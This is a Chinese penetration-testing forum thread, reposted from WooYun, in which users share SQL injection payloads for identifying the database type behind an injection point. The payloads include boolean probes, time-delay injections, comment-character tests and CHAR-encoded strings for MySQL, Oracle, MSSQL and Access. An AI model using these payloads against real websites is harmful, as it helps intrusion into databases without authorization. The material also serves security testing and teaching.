中国网络渗透测试联盟
标题:
一个注射点如何最快速确认是什么类型数据库
[打印本页]
作者:
admin
时间:
2013-2-11 09:54
标题:
一个注射点如何最快速确认是什么类型数据库
一个注射点如何最快速确认是什么类型数据库
' p0 [0 ?& d- X
xsser (十根阳具有长短!!) | 2013-02-05 12:36
2 ?3 D9 G0 H5 {' M$ B
假设这么一个注射点:
8 k/ O- `% k! g
show.html?id=2
9 [* m1 X4 X8 n# `8 h! P
mysql:id=2 and version()>0
# P* X& m+ t" K5 L8 K1 F
oracle:id=2 and '1'||'1'='11
2 y. a; s) U; M. _# d
其他的欢迎补充
, {. r: c# e! x* U3 K4 N% M+ W. L7 [
1#
* U# r, Q" y0 N# d. M r) ~$ {
upload (%bf%27%bf%27%bf%27%bf%27%) | 2013-02-05 12:47
% F+ g4 D0 B: S% n
Access:
: o( V% Z2 }' a# u/ {+ ~8 ~
aNd aSc(cHr(97))=97
( @: _3 Q6 n9 V" E/ a" q
and exists(select id from MSysAccessObjects)
8 `+ ?- s. _/ T+ q- Y: ^" ~
SQL Server:
7 H+ K+ {4 b% @! Y
and exists(select id from sysobjects)
3 p) P# {" s' `: ]' s) G
and length(user)>0
. \2 ]. S' M; Y0 \/ M( h; ^
MySQL:
* m/ ?/ ^1 r) ~/ n& ]# Z7 Y4 F
and length(user())>0
" `& Y. \" c0 k; w
2#
: [: R4 w& d6 i; t) L! o0 K
xsser (十根阳具有长短!!) | 2013-02-05 12:48
2 |5 i/ i$ u& N$ ~
@upload 如果这些都不是呢…
& _" b* e; o" o6 X d( y) g- \
3#
' X( F$ c j% t# A$ A& r+ m% L+ }0 `
upload (%bf%27%bf%27%bf%27%bf%27%) | 2013-02-05 13:03
# t# S# m; `! Z/ @) b
@xsser 不快速的,延时注入
# ]3 t$ e4 t7 }% c: {. T# p/ I
不知道这样写对不对
! r' W# q8 K, a& f& @7 \3 F8 `3 `( n
mssql:id=2 and IF(ascii(SUBSTRING('name',1,1))>0)waitfor delay'0:00:3'
7 J( x0 |9 {) J; J& D0 t: R+ o
mysql:id=2 and select benchmark(1e8,current_date());
9 x9 o- ?4 c) N! h0 H6 b" L: Z
4#
0 `- ?' ^5 ` g, Y
upload (%bf%27%bf%27%bf%27%bf%27%) | 2013-02-05 13:10
7 U5 ?6 `8 s4 t
最快的貌似是看报错信息
/ t* s% j+ \" p4 ^9 r
oracle error
) z9 K: L6 I3 s
mssql error
% [) k9 A0 J) e- G% P- f1 b+ x" M
mysql error
/ H1 D3 w5 X M7 g3 {" W c
5#
. w$ ]4 }- C, y6 C# a
Nimda (你们都是坏银~) | 2013-02-05 13:14
+ [7 F& a. u, ]$ H& g
小菜献丑来一发 Oracle:id=2 and 0<>(select count(*) from dual)
+ ~3 c6 F9 Q* f. r3 R
6#
% H/ R! V' |5 b1 E+ W6 T4 x
upload (%bf%27%bf%27%bf%27%bf%27%) | 2013-02-05 13:21
" V5 o K1 ~4 h- X6 _5 m" p5 V
“/*”是MySQL中的注释符,返回错误说明该注入点不是MySQL,继续提交如下查询字符:
1 h3 W" L) e& t6 y- u* o8 k
“–”是Oracle和MSSQL支持的注释符,如果返回正常,则说明为这两种数据库类型之一。继续提交如下查询字符:
0 a$ K8 B. e7 Q$ S
“;”是子句查询标识符,Oracle不支持多行查询,因此如果返回错误,则说明很可能是Oracle数据库。
0 T" y! \# T! Z
7#
( V5 F# V; w, R7 }7 p
_Evil (HackEnd) | 2013-02-05 13:33
+ j+ U! J3 E. I" F% Q
PostgreSQL
6 d; G8 j) L- u8 T* j
8#
2 C% v+ ~7 d [( Y% K9 y6 H
upload (%bf%27%bf%27%bf%27%bf%27%) | 2013-02-05 13:42
% s0 ]6 R: y8 p3 |" @# [5 G
切换编码 and 1=1
. z; t, ?6 Q4 Q" P+ `3 f4 L" k* K
oracle:
7 ^. V* Y+ `# }3 @1 O$ G6 X5 ^/ X
CHR(97) || CHR(110) || CHR(100) || CHR(32) || CHR(49) || CHR(61) || CHR(49)
* @3 S) ?. L" T3 I
mssql:
$ p, ~( [+ {* s4 V. o) k( t: t
CHAR(97) + CHAR(110) + CHAR(100) + CHAR(32) + CHAR(49) + CHAR(61) + CHAR(49)
/ F Q) u3 B4 k$ j& k' e& V
mysql:
* D% ^, K9 C) S! n: {
CHAR(97, 110, 100, 32, 49, 61, 49)
D" m$ S: c5 ~3 x; D- [
9#
- s% `( j% w! _# L, T8 F! S5 A1 r
xsser (十根阳具有长短!!) | 2013-02-05 14:31
6 o* u! y& U# `/ I. E; l
@upload 比较常见的数据库这些还是可以判断的,但是还有其他奇葩类型的呢?
: i& ~$ J. P( E# R
10#
0 B' |+ ^- B/ n! ~2 G& _
upload (%bf%27%bf%27%bf%27%bf%27%) | 2013-02-05 14:46
E9 G5 |5 d- h, `
@xsser 是奇葩数据库类型的么?
# g' D& f- d" ~* o' {3 T
根据注入的原理,我们可以猜想,要成功的注入,必须使得注入后的一片和谐,那么使用该类数据库特性来判断,综上所述:
2 \1 F0 g* _5 k6 N& W& C
1.是否可以使用特定的函数来判断,该数据库特有的
- ?8 H$ ?( m3 w t* n
2.是否可以使用辅助的符号来判断,如注释符号、多语句查询符等等
- o' q8 d. H* Y, d
3.是否可以编码查询
* o$ _' H1 q5 p
4.是否显可以利用错信息
}% J2 n# k5 R0 F7 T. ]
5.是否存在数据库某些特性辅助判断
4 g9 g' B( [; J9 S+ y
个人见解
1 `; b' b" i" O( F( R v4 w' S
11#
/ b6 e) p! P2 T; A0 x4 \, V4 @5 M
小胖子 (z7y壮士,来,干了这碗酒!) | 2013-02-05 14:55
7 X7 w# k! q7 ?" f! Z, T
已收藏,mssql可以直接看到错误提示的吧~
( A- w* Z2 D* d1 V
12#
8 _$ S! j4 T+ |- O) ~5 {6 c
Passer_by | 2013-02-05 15:09
0 H q+ k$ p e0 ^, G
曾被 @GaRY 面过我这题。。。紧张了。。后来回家sqlmap判断注射点的时候抓包看了下。。。一抓包全出来了居然。。
$ I; y+ T! Z) A4 `. e% M
from:
http://zone.wooyun.org/content/260
欢迎光临 中国网络渗透测试联盟 (https://www.cobjon.com/)
Powered by Discuz! X3.2